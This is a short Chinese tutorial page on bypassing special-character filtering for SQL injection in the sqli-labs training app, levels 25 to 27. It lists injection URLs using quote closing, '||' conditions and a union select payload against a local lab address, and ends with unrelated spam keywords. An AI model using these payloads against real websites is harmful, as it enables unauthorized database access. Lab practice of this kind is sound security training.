如何繞過去除特殊字符進行sql注入

發布時間：2021-12-09 18:31:56 來源：億速云閱讀：223 作者：柒染欄目：大數據

本篇文章給大家分享的是有關如何繞過去除特殊字符進行sql注入，小編覺得挺實用的，因此分享給大家學習，希望大家閱讀完這篇文章后可以有所收獲，話不多說，跟著小編一起來看看吧。

環境sqli-labs

less 25

1、輸入特殊字符，報錯

http://192.168.1.121/sqli/Less-25/?id=1\

如何繞過去除特殊字符進行sql注入

2、單引號閉合

如何繞過去除特殊字符進行sql注入

http://192.168.1.121/sqli/Less-25/?id=1' || 1=1 --+

如何繞過去除特殊字符進行sql注入

二、閉合語句沒有效果，屏蔽了-，空格，or等等

http://192.168.1.121/sqli/Less-26/?id=1' --+

三、重新構造閉合語句

http://192.168.1.121/sqli/Less-26/?id=1' ||'a'='a

如何繞過去除特殊字符進行sql注入

less 27

一、輸入特殊字符，報錯

http://192.168.1.121/sqli/Less-27/?id=1'

如何繞過去除特殊字符進行sql注入

三、通過union查詢

http://192.168.1.121/sqli/Less-27/?id=1' union select 1,2,3 ||'1

如何繞過去除特殊字符進行sql注入

以上就是如何繞過去除特殊字符進行sql注入，小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站